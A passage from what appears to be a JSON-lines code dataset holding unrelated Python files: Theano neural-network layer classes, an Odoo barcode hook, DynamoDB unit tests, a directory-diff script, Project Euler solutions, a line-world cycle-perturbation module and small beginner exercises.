c will be single vector: [layer1.output, layer2.output]\n \"\"\"\n def __init__(self, name=None, **kwargs):\n super(Composite, self).__init__(layerTypes=[MSET.TYPE_HIDDEN_LAYER], size=None, name=name, **kwargs)\n\n def _setShape(self) :\n \"\"\"set the number of inputs and outputs\"\"\"\n self.nbInputs=0\n for l in self.network.inConnections[self] :\n self.nbInputs += l.nbOutputs\n self.nbOutputs=self.nbInputs\n\n def _setOutputs(self) :\n outs=[]\n testOuts=[]\n for l in self.network.getSortedInConnections(self) :\n outs.append(l.outputs)\n testOuts.append(l.testOutputs)\n \n self.outputs=tt.concatenate( outs, axis=1 ) \n self.testOutputs=tt.concatenate( testOuts, axis=1 )\n\nclass Pass(Layer_ABC) :\n def __init__(self, name=None, **kwargs):\n super(Pass, self).__init__(layerTypes=[MSET.TYPE_HIDDEN_LAYER], size=None, name=name, **kwargs)\n\n def _femaleConnect(self, layer) :\n if self.nbInputs is None :\n self.nbInputs=layer.nbOutputs\n elif self.nbInputs != layer.nbOutputs :\n raise ValueError(\"All inputs to layer %s must have the same size, got: %s previous: %s\" % (self.name, layer.nbOutputs, self.nbInputs) )\n self.nbOutputs=layer.nbOutputs\n\n def _setOutputs(self) :\n for layer in self.network.inConnections[self] :\n if self.inputs is None :\n self.inputs=layer.outputs\n else :\n self.inputs += layer.outputs\n\n self.outputs=self.inputs\n self.testOutputs=self.inputs\n\nclass WeightBias_ABC(Layer_ABC) :\n \"\"\"A layer with weigth and bias. If would like to disable either one of them do not provide an initialization\"\"\"\n\n def __init__(self, size, layerTypes, initializations=[MI.SmallUniformWeights(), MI.ZeroBias()], **kwargs) :\n super(WeightBias_ABC, self).__init__(size, layerTypes=layerTypes, initializations=initializations, **kwargs)\n self.testInputs=None\n self.parameters={\n \"W\": None,\n \"b\": None\n }\n\n def _setShape(self) :\n \"\"\"defines the number of inputs\"\"\"\n self.nbInputs=None\n for layer in self.network.inConnections[self] :\n if self.nbInputs is None :\n self.nbInputs=layer.nbOutputs\n elif self.nbInputs != layer.nbOutputs :\n raise ValueError(\"All inputs to layer %s must have the same size, got: %s previous: %s\" % (self.name, layer.nbOutputs, self.nbInputs) )\n\n def _setInputs(self) :\n \"\"\"Adds up the outputs of all incoming layers\"\"\"\n self.inputs=None\n self.testInputs=None\n for layer in self.network.inConnections[self] :\n if self.inputs is None :\n self.inputs=layer.outputs\n self.testInputs=layer.testOutputs\n else :\n self.inputs += layer.outputs\n self.testInputs += layer.testOutputs\n\n def _setOutputs(self) :\n \"\"\"Defines, self.outputs and self.testOutputs\"\"\"\n self._setInputs()\n\n self.outputs=self.inputs\n self.testOutputs=self.testInputs\n \n if self.parameters[\"W\"] is not None:\n self.outputs=tt.dot(self.inputs, self.parameters[\"W\"])\n self.testOutputs=tt.dot(self.testInputs, self.parameters[\"W\"])\n \n if self.parameters[\"b\"] is not None:\n self.outputs=self.outputs + self.parameters[\"b\"]\n self.testOutputs=self.testOutputs + self.parameters[\"b\"]\n\n def getParameterShape(self, param) :\n if param == \"W\" :\n return (int(self.nbInputs), int(self.nbOutputs))\n elif param == \"b\" :\n return (int(self.nbOutputs),)\n else :\n raise ValueError(\"Unknown parameter: %s\" % param)\n\n def getW(self) :\n \"\"\"Return the weight values\"\"\"\n try :\n return self.parameters[\"W\"].get_value()\n except AttributeError :\n raise ValueError(\"It looks like the network has not been initialized yet\")\n\n def getb(self) :\n \"\"\"Return the bias values\"\"\"\n try :\n return self.parameters[\"b\"].get_value()\n except AttributeError :\n raise ValueError(\"It looks like the network has not been initialized yet\")\n\nclass Hidden(WeightBias_ABC) :\n \"A hidden layer with weigth and bias\"\n def __init__(self, size, **kwargs) :\n super(Hidden, self).__init__(size, layerTypes=[MSET.TYPE_HIDDEN_LAYER], **kwargs)\n\nclass Output_ABC(Layer_ABC) :\n \"\"\"The interface that every output layer should expose.\n If backTrckAll is set to True, the output layer will consider all layers of the network as its dependencies and update them when necessary.\n The default behaviour is to only consider the layers that are parts of branches that lead to the output layer.\n\n This interface also provides the model functions::\n * train: upadates the parameters and returns the cost\n * test: returns the cost, ignores trainOnly decoartors\n \"\"\"\n\n def __init__(self, size, costObject, backTrckAll=False, **kwargs) :\n super(Output_ABC, self).__init__(size, layerTypes=[MSET.TYPE_OUTPUT_LAYER], **kwargs)\n self.targets=None\n self.dependencies=OrderedDict()\n self.costObject=costObject\n self.backTrckAll=backTrckAll\n\n self.cost=None\n self.testCost=None\n self.updates=None\n self._mustRegularize=True\n self.dependencies=None\n\n def _backTrckDependencies(self, force=False) :\n \"\"\"Finds all the hidden layers the ouput layer is influenced by\"\"\"\n def _bckTrk(deps, layer) :\n for l in self.network.inConnections[layer] :\n deps[l.name]=l\n _bckTrk(deps, l)\n return deps\n\n if self.dependencies is None or force :\n self.dependencies={}\n if self.backTrckAll == True:\n self.dependencies=dict(self.network.layers)\n del self.dependencies[self.name]\n else:\n self.dependencies=_bckTrk(self.dependencies, self)\n\n def _setCosts(self) :\n \"\"\"\n Defines the costs to be applied.\n There are 2: the training cost (self.cost) and test cost (self.testCost), that has no regularizations.\n \"\"\"\n # print \"training\"\n self.cost=self.costObject.apply(self, self.targets, self.outputs, \"training\")\n # theano.printing.debugprint(self.cost)\n # print \"testing\"\n self.testCost=self.costObject.apply(self, self.targets, self.testOutputs, \"testing\")\n # theano.printing.debugprint(self.testCost)\n\n def _applyRegularizations(self, force=False) :\n \"\"\"Defines the regularizations to be added to the cost\"\"\"\n if self._mustRegularize or force :\n self._backTrckDependencies()\n for l in self.dependencies.itervalues() :\n if l.__class__ is not Composite :\n try :\n for reg in l.regularizations :\n self.cost += reg\n except AttributeError :\n pass\n self._mustRegularize=False\n\n def _setUpdates(self) :\n \"\"\"Defines parameter updates according to training scenari\"\"\"\n self._backTrckDependencies()\n self.dctUpdates={}\n self.updates=self.learningScenario.apply(self, self.cost)\n self.dctUpdates[self.name]=self.updates\n \n # print self.name, self.updates\n for l in self.dependencies.itervalues() :\n if l.learningScenario is not None :\n updates=l.learningScenario.apply(l, self.cost)\n else :\n updates=self.learningScenario.apply(l, self.cost)\n # print l.name, updates\n self.updates.extend(updates)\n self.dctUpdates[l.name]=updates\n\n def _setTheanoFunctions(self) :\n \"\"\"\n Sets all the theano function.\n Calls self._setCosts() before if either self.cost or self.testCost is None.\n self._applyRegularizations()\n Calls self._setUpdates() if self.updates is None.\n \"\"\"\n if self.cost is None or self.testCost is None :\n self._setCosts()\n\n self._applyRegularizations()\n \n if self.updates is None :\n self._setUpdates()\n\n super(Output_ABC, self)._setTheanoFunctions()\n self._setCustomTheanoFunctions()\n self._setGetGradientsUpdatesFunctions()\n \n def _setCustomTheanoFunctions(self) :\n \"\"\"Adds train, test, model functions::\n\n * train: update parameters and return cost\n * test: do not update parameters and return cost without adding regularizations\n \"\"\"\n\n if self.cost is None or self.testCost is None :\n self._setCosts()\n # theano.printing.debugprint(self.cost)\n self.train=MWRAP.TheanoFunction(\"train\", self, [(\"score\", self.cost)], { \"targets\" : self.targets }, updates=self.updates, allow_input_downcast=True)\n self.test=MWRAP.TheanoFunction(\"test\", self, [(\"score\", self.testCost)], { \"targets\" : self.targets }, allow_input_downcast=True)\n\n def _setGetGradientsUpdatesFunctions(self) :\n \"\"\"Defines functions for retreving gradients/updates\"\"\"\n layers=[self]\n layers.extend(self.dependencies.values())\n \n for l in layers :\n try :\n gradOuts=[]\n upsOuts=[]\n for k, v in l.getParameterDict().iteritems() :\n if l.learningScenario is not None :\n gradOuts.append( (k, l.learningScenario.gradients[v]) )\n upsOuts.append( (k, l.learningScenario.updates[v]) )\n else :\n gradOuts.append( (k, self.learningScenario.gradients[v]) )\n upsOuts.append( (k, self.learningScenario.updates[v]) )\n\n setattr(self, \"getGradients_%s\" % l.name, MWRAP.TheanoFunction(\"getGradients\", self, gradOuts, { \"targets\" : self.targets }, allow_input_downcast=True, on_unused_input='ignore') )\n setattr(self, \"getUpdates_%s\" % l.name, MWRAP.TheanoFunction(\"getUpdates\", self, gradOuts, { \"targets\" : self.targets }, allow_input_downcast=True, on_unused_input='ignore') )\n except :\n msg=\"Warning! Unable to setup theano function for retreiving updates and gradients for layer '%s'. Perhaps the current learning scenario is not keeping them stored.\" % l.name\n self.network.logLayerEvent(self, msg, {})\n if MSET.VERBOSE :\n print(msg)\n\n def getGradients(self, layerName=None, *args, **kwargs) :\n if layerName is None :\n lname=self.name\n else :\n lname=layerName\n\n try :\n return getattr(self, \"getGradients_%s\" % lname)(*args, **kwargs)\n except AttributeError :\n print(\"There's no theano function for retreiving gradients for layer '%s'. Perhaps the current learning scenario is not keeping them stored.\" % layerName)\n\n def getUpdates(self, layerName=None, *args, **kwargs) :\n if layerName is None :\n lname=self.name\n else :\n lname=layerName\n\n try :\n return getattr(self, \"getUpdates_%s\" % lname)(*args, **kwargs)\n except AttributeError :\n print(\"There's no theano function for retreiving updates for layer '%s'. Perhaps the current learning scenario is not keeping them stored.\" % layerName)\n\nclass WeightBiasOutput_ABC(Output_ABC, WeightBias_ABC):\n \"\"\"Generic output layer with weight and bias\"\"\"\n def __init__(self, size, costObject, learningScenario, activation, **kwargs):\n super(WeightBiasOutput_ABC, self).__init__(size=size, costObject=costObject, learningScenario=learningScenario, activation=activation, **kwargs)\n\n def _setOutputs(self) :\n WeightBias_ABC._setOutputs(self)\n\nclass SoftmaxClassifier(WeightBiasOutput_ABC) :\n \"\"\"A softmax (probabilistic) Classifier\"\"\"\n def __init__(self, size, costObject, learningScenario, temperature=1, **kwargs) :\n super(SoftmaxClassifier, self).__init__(size, costObject=costObject, learningScenario=learningScenario, activation=MA.Softmax(temperature=temperature), **kwargs)\n self.targets=tt.ivector(name=\"targets_\" + self.name)\n\n def _setCustomTheanoFunctions(self) :\n \"\"\"defines::\n\n * classify: return the argmax of the outputs applying all the decorators.\n * predict: return the argmax of the test outputs (some decorators may not be applied).\n * classificationAccuracy: returns the accuracy (between [0, 1]) of the model, computed on outputs.\n * predictionAccuracy: returns the accuracy (between [0, 1]) of the model, computed on test outputs.\n \"\"\"\n Output_ABC._setCustomTheanoFunctions(self)\n clas=tt.argmax(self.outputs, axis=1)\n pred=tt.argmax(self.testOutputs, axis=1)\n\n self.classify=MWRAP.TheanoFunction(\"classify\", self, [ (\"class\", clas) ], allow_input_downcast=True)\n self.predict=MWRAP.TheanoFunction(\"predict\", self, [ (\"class\", pred) ], allow_input_downcast=True)\n\n clasAcc=tt.mean( tt.eq(self.targets, clas ) )\n predAcc=tt.mean( tt.eq(self.targets, pred ) )\n\n self.classificationAccuracy=MWRAP.TheanoFunction(\"classificationAccuracy\", self, [(\"accuracy\", clasAcc)], { \"targets\" : self.targets }, allow_input_downcast=True)\n self.predictionAccuracy=MWRAP.TheanoFunction(\"predictionAccuracy\", self, [(\"accuracy\", predAcc)], { \"targets\" : self.targets }, allow_input_downcast=True)\n\n self.trainAndAccuracy=MWRAP.TheanoFunction(\"trainAndAccuracy\", self, [(\"score\", self.cost), (\"accuracy\", clasAcc)], { \"targets\" : self.targets }, updates=self.updates, allow_input_downcast=True)\n self.testAndAccuracy=MWRAP.TheanoFunction(\"testAndAccuracy\", self, [(\"score\", self.testCost), (\"accuracy\", predAcc)], { \"targets\" : self.targets }, allow_input_downcast=True)\n\nclass Regression(WeightBiasOutput_ABC) :\n \"\"\"For regressions, works great with a mean squared error cost\"\"\"\n def __init__(self, size, activation, learningScenario, costObject, name=None, **kwargs) :\n super(Regression, self).__init__(size, activation=activation, learningScenario=learningScenario, costObject=costObject, name=name, **kwargs)\n self.targets=tt.matrix(name=\"targets\")\n\nclass Autoencode(WeightBiasOutput_ABC) :\n \"\"\"An auto encoding layer. This one takes another layer as inputs and tries to reconstruct its activations.\n You could achieve the same result with a Regression layer, but this one has the advantage of not needing to be fed specific inputs\"\"\"\n\n def __init__(self, targetLayerName, activation, learningScenario, costObject, name=None, **kwargs) :\n super(Autoencode, self).__init__(None, activation=activation, learningScenario=learningScenario, costObject=costObject, name=name, **kwargs)\n self.targetLayerName=targetLayerName\n\n def _setNbOutputs(self) :\n self.nbOutputs=self.network[self.targetLayerName].nbOutputs\n \n def _initParameters(self, forceReset=False) :\n self._setNbOutputs()\n super(Autoencode, self)._initParameters(forceReset)\n\n def _whateverFirstInit(self) :\n self.targets=self.network[self.targetLayerName].outputs\n \n def _setCustomTheanoFunctions(self) :\n super(Autoencode, self)._setCustomTheanoFunctions()\n self.train=MWRAP.TheanoFunction(\"train\", self, [(\"score\", self.cost)], {}, updates=self.updates, allow_input_downcast=True)\n self.test=MWRAP.TheanoFunction(\"test\", self, [(\"score\", self.testCost)], {}, allow_input_downcast=True)\n","sub_path":"Mariana/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":33366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"650023882","text":"# -*- coding: utf-8 -*-\n##############################################################################\n# For copyright and license notices, see __openerp__.py file in root directory\n##############################################################################\nfrom openerp import SUPERUSER_ID\nfrom openerp.api import Environment\nimport logging\n\n_log = logging.getLogger(__name__)\n\n\ndef _post_init_hook(cr, pool):\n env = Environment(cr, SUPERUSER_ID, {})\n products = env['product.product'].search([('ean13', '=', False)])\n _log.info(\n 'Generating barcode for %s products without EAN13' % len(products.ids))\n products.generate_ean13()\n","sub_path":"product_barcode_generator_auto/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"555662015","text":"# 033: Faça um programa que leia três números e mostre qual é o maior e qual é o menor.\r\nn1 = int(input('Primeiro valor: '))\r\nn2 = int(input('Segundo valor: '))\r\nn3 = int(input('Terceiro valor: '))\r\n\r\n# verificando o menor valor\r\nmenor = n1\r\nif n2 < n1 and n2 < n3:\r\n menor = n2\r\nif n3 < n1 and n3 < n2:\r\n menor = n3\r\n # verificando o maior valor\r\nmaior = n1\r\nif n2 > n1 and n2 > n3:\r\n maior = n2\r\nif n3 > n1 and n3 > n2:\r\n maior = n3\r\nprint(f'O menor valor é {menor}')\r\nprint(f'O maior valor é {maior}')","sub_path":"ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"271587781","text":"from moto import mock_dynamodb2\n\nimport dynamodb\nfrom models import JobOffer\n\ntest_payload_1 = {\n \"hash\": \"a7ff38ad4d0546381be5e14704222eca692579a56c73cc26abab1ae101c1c42b\",\n \"url\": \"https://europeremotely.com/position/4580/senior-fullstack-ruby-js-developer-remote-or-berlin\",\n \"position\": \"Senior Fullstack Ruby / JS Developer (remote or Berlin)\",\n \"description\": \"\",\n \"company\": \"GOhiring - multiposting & analytics\",\n \"date\": \"about 1 month ago\",\n \"tags\": [\n \"Programming\",\n \"Full-stack\",\n \"Ruby\",\n \"JavaScript\",\n \"Ruby on Rails\"\n ]\n}\n\ntest_payload_2 = {\n \"hash\": \"a7ff38ad4d0546381be5e14704222eca692579a56c73cc26abab1ae101c1c42b\",\n \"url\": \"https://europeremotely.com/position/1111/senior-fullstack-go-rust-developer-remote-or-berlin\",\n \"position\": \"Senior Go / Rust developer (remote or Berlin)\",\n \"description\": \"\",\n \"company\": \"Cool company\",\n \"date\": \"about 1 month ago\",\n \"tags\": [\n \"Programming\",\n \"Go\",\n \"Rust\"\n ]\n}\n\n\n@mock_dynamodb2\ndef test_save():\n payloads = [test_payload_1]\n dynamodb.save(payloads)\n\n assert JobOffer.count() == 1\n\n\n@mock_dynamodb2\ndef test_save_no_duplicates():\n payloads = [test_payload_1, test_payload_2]\n dynamodb.save(payloads)\n\n assert JobOffer.count() == 1\n","sub_path":"tests/unit/test_dynamodb.py","file_name":"test_dynamodb.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"197643863","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 11 00:37:03 2020\r\n\r\n@author: amoth\r\n\"\"\"\r\n\r\nimport math as m\r\n\r\n# a < b < c < x/2 < a+b\r\n# a + b + c = 1000\r\n# return 0 if no result\r\ndef pythagorean_triplet(x):\r\n # c and b starting at their maximum while a initiate at minimum\r\n c = m.floor(x/2)\r\n b = c - 1\r\n a = x - c - b\r\n while a**2 + b**2 != c**2:\r\n if b <= a:\r\n c -= 1\r\n b = c - 1\r\n a = x - c - b\r\n if c < 2:\r\n c = 0\r\n b = 0\r\n a = 0\r\n else:\r\n b -= 1\r\n a += 1\r\n return a*b*c\r\n\r\n\r\nprint(pythagorean_triplet(1001))\r\n","sub_path":"euler_9.py","file_name":"euler_9.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"172046421","text":"#import difflib\r\n\r\n#file1 = open(\"file1.txt\", \"r\")\r\n#file2 = open(\"file2.txt\", \"r\")\r\n\r\n##d = difflib.Differ()\r\n##diff = difflib.ndiff(file1.readlines(), file2.readlines())\r\n##print('\\n'.join(diff))\r\n\r\n## difflib.SequenceMatcher(None, file1.read(), file2.read())\r\n\r\n\r\n#d = difflib.HtmlDiff()\r\n#print(d.make_table(file1.readlines(), file2.readlines()))\r\n\r\n\r\n\r\n\r\nimport os\r\nimport json\r\nimport filecmp\r\nimport difflib\r\n\r\nrootdir_prev = r'C:\\Users\\Anton\\Desktop\\public_html\\antonvasetenkov.com\\node-js-tutorial\\step4\\ '.strip()\r\nrootdir = r'C:\\Users\\Anton\\Desktop\\public_html\\antonvasetenkov.com\\node-js-tutorial\\step5\\ '.strip()\r\n\r\ndiffdir = r'C:\\Users\\Anton\\Desktop\\public_html\\antonvasetenkov.com\\node-js-tutorial\\differ\\ '.strip()\r\n\r\nFOLDERS = {}\r\n\r\nfor subdir, dirs, files in os.walk(rootdir):\r\n subpath = subdir[len(rootdir):]\r\n \r\n \r\n\r\n \r\n #FOLDERS\r\n subpath_split = subpath.split('\\\\')\r\n subpath_split = [] if (len(subpath_split) == 1 and subpath_split[0] == '') else subpath_split\r\n \r\n cwd = FOLDERS\r\n for p in subpath_split:\r\n if p not in cwd:\r\n cwd[p] = {}\r\n cwd = cwd[p]\r\n \r\n if '_diff' not in cwd:\r\n cwd['_diff'] = ''\r\n if not os.path.exists(rootdir_prev+subpath):\r\n cwd['_diff'] = 'created'\r\n \r\n if '_files' not in cwd:\r\n cwd['_files'] = {}\r\n for f in files:\r\n if f not in cwd['_files']:\r\n cwd['_files'][f] = {'_content':'','_diff':''} #open(os.path.join(subdir, f), encoding=\"utf8\").read()\r\n curf = os.path.join(rootdir+subpath, f)\r\n prevf = os.path.join(rootdir_prev+subpath, f)\r\n if not os.path.exists(prevf):\r\n cwd['_files'][f]['_diff'] = 'created'\r\n \r\n ccwd = FOLDERS\r\n if ccwd['_diff'] == '':\r\n ccwd['_diff'] = 'modified'\r\n for p in subpath_split:\r\n ccwd = ccwd[p]\r\n if ccwd['_diff'] == '':\r\n ccwd['_diff'] = 'modified'\r\n \r\n elif not filecmp.cmp(prevf, curf):\r\n cwd['_files'][f]['_diff'] = 'modified'\r\n \r\n difff = os.path.join(diffdir+subpath, f)+'.diff'\r\n if not os.path.exists(os.path.dirname(difff)):\r\n os.makedirs(os.path.dirname(difff))\r\n with open(difff, \"w\") as ffffff:\r\n ffffff.write(''.join(difflib.ndiff(open(prevf,'r').readlines(), open(curf,'r').readlines())))\r\n\r\n ccwd = FOLDERS\r\n if ccwd['_diff'] == '':\r\n ccwd['_diff'] = 'modified'\r\n for p in subpath_split:\r\n ccwd = ccwd[p]\r\n if ccwd['_diff'] == '':\r\n ccwd['_diff'] = 'modified'\r\n \r\n for d in dirs:\r\n cwd[d] = {}\r\n\r\n \r\n \r\n \r\nfor subdir, dirs, files in os.walk(rootdir_prev):\r\n subpath = subdir[len(rootdir_prev):]\r\n \r\n \r\n\r\n \r\n #FOLDERS\r\n subpath_split = subpath.split('\\\\')\r\n subpath_split = [] if (len(subpath_split) == 1 and subpath_split[0] == '') else subpath_split\r\n \r\n cwd = FOLDERS\r\n for p in subpath_split:\r\n if p not in cwd:\r\n cwd[p] = {}\r\n cwd = cwd[p]\r\n \r\n if '_diff' not in cwd:\r\n cwd['_diff'] = ''\r\n if not os.path.exists(rootdir+subpath):\r\n cwd['_diff'] = 'deleted'\r\n \r\n if '_files' not in cwd:\r\n cwd['_files'] = {}\r\n for f in files:\r\n if f not in cwd['_files']:\r\n cwd['_files'][f] = {'_content':'','_diff':''} #open(os.path.join(subdir, f), encoding=\"utf8\").read()\r\n curf = os.path.join(rootdir+subpath, f)\r\n prevf = os.path.join(rootdir_prev+subpath, f)\r\n if not os.path.exists(curf):\r\n cwd['_files'][f]['_diff'] = 'deleted'\r\n \r\n ccwd = FOLDERS\r\n if ccwd['_diff'] == '':\r\n ccwd['_diff'] = 'modified'\r\n for p in subpath_split:\r\n ccwd = ccwd[p]\r\n if ccwd['_diff'] == '':\r\n ccwd['_diff'] = 'modified'\r\n \r\n\r\n\r\n for d in dirs:\r\n cwd[d] = {} \r\n #print(subpath)\r\n #print(dirs)\r\n #print(files)\r\n #print('------')\r\n\r\n#print(FOLDERS) \r\nprint(json.dumps(FOLDERS))","sub_path":"compiling-and-running-java-code/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"92876435","text":"import re\r\nimport os\r\ncities = []\r\nos.system('del searchvalues.txt')\r\ndef chunkData(file):\r\n with open(file, 'r') as f:\r\n data = f.read()\r\n chunkedData = data.split('}]}')\r\n end = len(chunkedData) - 3\r\n return chunkedData[:end:-1]\r\n\r\npattern = re.compile(r'\"search_after\": \\d*')\r\nnumPat = re.compile(r'[0-9]*')\r\nwith open('cities.txt', 'r') as f:\r\n dat = f.readlines()\r\n for line in dat:\r\n cities.append(line)\r\ncities = list(filter(None, [x.strip('\\n') for x in cities]))\r\nfor city in cities:\r\n c = city + \"2.json\"\r\n a = chunkData(c)\r\n results = pattern.findall(str(a))\r\n searchAfterRaw = numPat.findall(results[0])\r\n searchAfter = list(filter(None, searchAfterRaw))\r\n with open('searchvalues.txt', 'a') as f:\r\n f.write(searchAfter[0] + '\\n')\r\n\r\n\r\nvals = []\r\nwith open(\"searchvalues.txt\", 'r') as f:\r\n dat = f.readlines()\r\n for line in dat:\r\n vals.append(line)\r\nvals = list(filter(None, [x.strip('\\n') for x in vals]))\r\nprint(vals)\r\n\r\n \r\n ","sub_path":"GetSearches.py","file_name":"GetSearches.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"43242966","text":"from django.conf import settings\nfrom django.db.models import(Model,\n Manager,\n CASCADE,\n BooleanField,\n ForeignKey,\n OneToOneField)\nfrom freemoney.models import (Application,\n Semester)\n\n\nclass ApplicantProfileManager(Manager):\n def active_profiles(self):\n \"\"\"Get all active ApplicantProfiles with a current Application\"\"\"\n\n filtered_profiles = []\n for profile in self.iterator():\n if profile.user.is_active:\n if profile.current_application is not None:\n filtered_profiles.append(profile)\n return filtered_profiles\n\nclass ApplicantProfile(Model):\n \"\"\"Extra user profile info for a potential applicant's account\"\"\"\n\n user = OneToOneField(settings.AUTH_USER_MODEL,\n on_delete=CASCADE,\n primary_key=True)\n must_change_password = BooleanField(default=False)\n\n objects = ApplicantProfileManager()\n\n @property\n def current_application(self):\n candidate_applications = []\n for application in self.application_set.iterator():\n if (Semester(application.due_at) ==\n Semester(settings.FREEMONEY_DUE_DATE)):\n candidate_applications.append(application)\n if len(candidate_applications) == 0:\n return None\n elif len(candidate_applications) == 1:\n return candidate_applications.pop()\n else:\n raise Application.MultipleObjectsReturned()\n","sub_path":"freemoney/models/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"178472361","text":"from tqdm import tqdm\nimport torch\nimport logging\nimport numpy as np\nfrom line_world.sample.markov_backbone import draw_sample_markov_backbone\nfrom line_world.sample.fast_markov_backbone import fast_sample_markov_backbone\n\n\ndef get_n_cycles(state_list, layer_list):\n \"\"\"get_n_cycles\n Get the number of cycles for different layers at a given state\n\n Parameters\n ----------\n\n state_list : list\n state_list is a list of torch tensors representing the states of different layers\n layer_list : list\n layer_list is a list of Layer objects representing the different layers in the model\n\n Returns\n -------\n\n n_cycles_list : list\n A list of length n_layers - 2 containing the number of cycles at each brick.\n Each element is a tensor of the same shape as the corresponding layer\n\n \"\"\"\n assert len(state_list) == len(layer_list)\n if type(state_list[0]) is not torch.Tensor:\n state_list = [torch.tensor(state, dtype=torch.float) for state in state_list]\n\n n_cycles_list = [\n get_n_cycles_three_layers(state_list[ii:ii + 3], layer_list[ii:ii + 3])\n for ii in range(len(state_list) - 2)\n ]\n return n_cycles_list\n\n\ndef get_n_cycles_three_layers(state_list, layer_list):\n \"\"\"get_n_cycles_three_layers\n Function for getting the number of cycles for three layers\n\n Parameters\n ----------\n\n state_list : list\n state_list is a list of length 3\n layer_list : list\n layer_list is a list of length 3\n\n Returns\n -------\n\n n_cycles : torch.Tensor\n n_cycles is a tensor of the same size as the top layer, containing the number of\n cycles for each brick in the top layer\n\n \"\"\"\n assert len(state_list) == 3\n assert len(layer_list) == 3\n on_bricks_prob_list = [layer_list[ii].get_on_bricks_prob(state_list[ii]) for ii in range(3)]\n parents_prob_list = [1 - layer_list[ii].get_no_parents_prob(state_list[ii], False) for ii in range(2)]\n n_cycles = on_bricks_prob_list[0].reshape((-1, 1)) * parents_prob_list[0].reshape((\n layer_list[0].n_bricks, layer_list[1].n_bricks\n ))\n n_cycles = n_cycles * on_bricks_prob_list[1].reshape((1, -1))\n n_cycles = torch.matmul(n_cycles, parents_prob_list[1].reshape(\n layer_list[1].n_bricks, layer_list[2].n_bricks\n ))\n n_cycles = n_cycles * on_bricks_prob_list[2].reshape((1, -1))\n n_cycles = n_cycles * (n_cycles - 1) / 2\n n_cycles = n_cycles * (n_cycles > 0).float()\n n_cycles = torch.sum(n_cycles, dim=1).reshape(layer_list[0].shape)\n return n_cycles\n\n\nclass CyclesPerturbation(object):\n def __init__(self, layer_list, n_samples, fast_sample):\n self.layer_list = layer_list\n logging.info('Getting samples for the null distribution on the number of cycles')\n if fast_sample:\n state_list_samples = fast_sample_markov_backbone(layer_list, n_samples)\n else:\n state_list_samples = [\n draw_sample_markov_backbone(layer_list) for _ in tqdm(range(n_samples))\n ]\n\n self.n_cycles_statistics = [\n get_n_cycles(state_list, layer_list) for state_list in state_list_samples\n ]\n\n @property\n def perturbation_upperbound(self):\n raise Exception('Must be implemented')\n\n def get_log_prob_cycles_perturbation(self, state_list):\n raise Exception(\"Must be implemented\")\n\n def get_discrete_log_prob_cycles_perturbation(self, state_list):\n raise Exception(\"Must be implemented\")\n\n\nclass MarkovBackbone(CyclesPerturbation):\n def __init__(self, layer_list, n_samples, params):\n pass\n\n @property\n def perturbation_upperbound(self):\n return torch.tensor(1)\n\n def get_log_prob_cycles_perturbation(self, state_list):\n return torch.tensor(0, dtype=torch.float)\n\n def get_discrete_log_prob_cycles_perturbation(self, state_list):\n return torch.tensor(0, dtype=torch.float)\n","sub_path":"line_world/perturb/perturbation.py","file_name":"perturbation.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"167460554","text":"#solving problems with python project\n#01 - problem\n# Source: https://projecteuler.net/problem=1 || Note: you should have account and login to see problems\n\n# Problem is:\n #If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.\n #Find the sum of all the multiples of 3 or 5 below 1000.\n# First sovle: function way \ndef mltuiple3or5():\n sums = []\n for n in range(1, 1000):\n if n % 3 == 0 or n % 5 == 0 :\n sums.append(n)\n #print(sums) # for printinh all elements \n return sum(sums)\n#print(mltuiple3or5())\n\n# Second solve: comperasion way\nmul3or5 = sum([n for n in range(1,1000) if n%3==0 or n%5==0])\nprint(mul3or5)","sub_path":"projecteuler/multiple_of_3_or_5.py","file_name":"multiple_of_3_or_5.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"643216426","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 12 19:33:43 2019\n\n@author: laure\n\"\"\"\n\nimport sys, pygame, random\npygame.init()\n\nSIZE = [600, 400]\nSPEED = [2, 2]\nBLACK = [0, 0, 0]\nRED = [255, 0, 0]\nWHITE = [255, 255, 255]\n\nscreen = pygame.display.set_mode(SIZE)\n\ndone = False\nclock = pygame.time.Clock()\n \nwhile not done:\n \n # This limits the while loop to a max of 10 times per second.\n # Leave this out and we will use all CPU we can.\n clock.tick(10)\n \n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done=True # Flag that we are done so we exit this loop\n \n # Clear the screen and set the screen background\n screen.fill(WHITE)\n \n pygame.draw.circle(screen,RED,(250,200),100,5)\n pygame.display.flip()\n\npygame.quit()","sub_path":"projet_prog_objet/test_pygame.py","file_name":"test_pygame.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"88251030","text":"from appium import webdriver\nimport time\nimport unittest\nimport os\nfrom Uiframe0test.public.Entrypersonal import EnterPer\n\n\n\nclass 